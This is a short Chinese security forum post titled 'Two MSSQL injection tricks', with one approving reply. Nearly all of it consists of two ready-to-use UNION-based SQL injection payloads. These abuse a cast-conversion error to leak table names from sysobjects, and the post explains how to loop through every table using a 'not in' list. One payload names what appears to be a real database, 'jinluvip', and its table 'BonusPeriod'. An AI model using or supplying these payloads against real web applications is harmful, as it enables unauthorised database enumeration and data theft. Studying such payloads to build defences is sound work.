MSSQL注入技巧两则

菲哥哥 / 2017-08-12 12:36:44 / 浏览数 3000 安全技术 技术讨论 顶(0) 踩(0)

2011年研究得出的爆表技巧

//爆破表语句
Feihacker' union select top 1 table_name from information_schema.tables where (select top 3 cast(name as varchar(526)) from (select top 1 id,name from [数据库名].[dbo].sysobjects where xtype=char(85) and status>=0 order by id)t order by id desc)=0--

//爆破所有表 在not in 里面换表名 一个一个爆破

Feihacker' union select top 1 table_name from information_schema.tables where (select top 1 cast(name as varchar(526)) from (select top 1 name from [数据库名].[dbo].sysobjects where xtype=char(85)and status>=0 and name not in (select name from [jinluvip].[dbo].sysobjects where xtype=char(85) and status>=0 and name ='BonusPeriod'))t)=0--

上一篇：ThinkPHP5.0.10-3.... 下一篇：C3安全峰会PPT

1. 1 条回复

simeon 2017-08-23 03:02:58

牛逼的帖子，先收藏，再学习！

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录